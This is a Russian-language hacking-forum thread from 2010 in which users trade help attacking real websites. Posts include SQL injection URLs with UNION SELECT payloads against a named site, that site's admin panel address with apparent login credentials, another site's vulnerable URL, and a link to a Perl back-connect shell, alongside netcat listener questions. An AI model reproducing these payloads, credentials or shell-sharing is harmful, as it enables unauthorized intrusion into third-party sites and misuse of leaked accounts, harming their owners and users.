ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
31.07.2010, 18:42
|
|
Новичок
Регистрация: 19.03.2010
Сообщений: 0
Провел на форуме:
11978
Репутация:
0
|
|
Нашел SQL inj, но никак не смог вытащит что-то. Кто поможет? Читал темы тут, но никак не смог. В ГЕТ параметре не фильтруется ид.
Еще, нашел на несколькиx сайтаx раскрытие путей, а что можно сними сделать?
И как найти php inclue ?
Подробно объясните,please...
|
|
|
31.07.2010, 19:01
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944
Репутация:
1550
|
|
Сообщение от IceJOKER
Нашел SQL inj, но никак не смог вытащит что-то. Кто поможет? Читал темы тут, но никак не смог. В ГЕТ параметре не фильтруется ид.
Еще, нашел на несколькиx сайтаx раскрытие путей, а что можно сними сделать?
И как найти php inclue ?
Подробно объясните,please...
|
|
|
|
31.07.2010, 19:39
|
|
Новичок
Регистрация: 19.03.2010
Сообщений: 0
Провел на форуме:
11978
Репутация:
0
|
|
ТЫНЦ не помогло, вот сайт где скул inj. http://dag-auto.ru/userauto.php?PHPSESSID=LALALA&start=1blabla
|
|
|
|
31.07.2010, 22:33
|
|
Новичок
Регистрация: 29.04.2010
Сообщений: 19
Провел на форуме:
58603
Репутация:
3
|
|
Пытаюсь на сервере прослушать порт netcat'ом, но ничё не получается оО... выдает:
Код:
> nc -l -p 31337
usage: nc [-46DdhklnrStUuvzC] [-i interval] [-p source_port]
[-s source_ip_address] [-T ToS] [-w timeout] [-X proxy_version]
[-x proxy_address[:port]] [hostname] [port[s]]
Хотя я и могу запустить бинд на перле, но хочу понять как это сделать netcat'ом. |
|
|
|
31.07.2010, 22:58
|
|
Новичок
Регистрация: 29.04.2010
Сообщений: 19
Провел на форуме:
58603
Репутация:
3
|
|
Еще вопрос:
Соединяюсь с сервером чз netcat, потом ввожу команду ssh 123.123.123.123, в ответ приходит следующая надпись
Код:
Pseudo-terminal will not be allocated because stdin is not a terminal
Что есть этот самый терминал..? где можно почитать про это? |
|
|
|
01.08.2010, 11:36
|
|
Участник форума
Регистрация: 01.09.2005
Сообщений: 194
Провел на форуме:
818095
Репутация:
34
|
|
Сообщение от IMMORTAL_S
Еще вопрос:
Соединяюсь с сервером чз netcat, потом ввожу команду ssh 123.123.123.123, в ответ приходит следующая надпись
Код:
Pseudo-terminal will not be allocated because stdin is not a terminal
Что есть этот самый
терминал
..? где можно почитать про это? Это означает, что тебе нужен бекконект который привязывется к терминалу. Вот держи залил тебе на перле http://www.sendspace.com/file/tsb30y
|
|
|
|
01.08.2010, 15:54
|
|
Новичок
Регистрация: 29.04.2010
Сообщений: 19
Провел на форуме:
58603
Репутация:
3
|
|
Как им правильно пользоваться?
Выдает:
Код:
ERROR: No more pty's avaliable
P.S. Может у кого есть ttyX, что-то нигде не нашел. |
|
|
|
01.08.2010, 21:14
|
|
Познающий
Регистрация: 19.08.2009
Сообщений: 68
Провел на форуме:
2159875
Репутация:
446
|
|
информация о табицах не доступна...
возможен просмотр?
Код:
http://www.drummersworld.com/dsp/category.php?id=e90a535886a467144e56b47de5e563b3&catname=Cymbals&catid=-147+union+select+1,2,3,4,5,6,7,8,9,10,database(),12,13,14,15,16,17,18,19,20,21,22--
|
|
|
|
01.08.2010, 21:27
|
|
Участник форума
Регистрация: 29.11.2007
Сообщений: 116
Провел на форуме:
283596
Репутация:
88
|
|
Electr0n там видимо фильтр на выуживание таблиц, потому что если методом подбора подобрать допустим таблицу users, то поля можно свободно получить, без брута
Вот тебе админка:
http://www.drummersworld.com/dsp/admin/admin.php
technology
fuckwhohackthisshop
|
|
|
|
01.08.2010, 21:29
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944
Репутация:
1550
|
|
http://www.drummersworld.com/dsp/category.php?id=e90a535886a467144e56b47de5e563b3&c atname=Cymbals&catid=-147+union+select+1,2,3,4,5,6,7,8,9,10,column_name, 12,13,14,15,16,17,18,19,20,21,22+from+information_ schema.columns+where+table_name=0x7573657273+--+
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
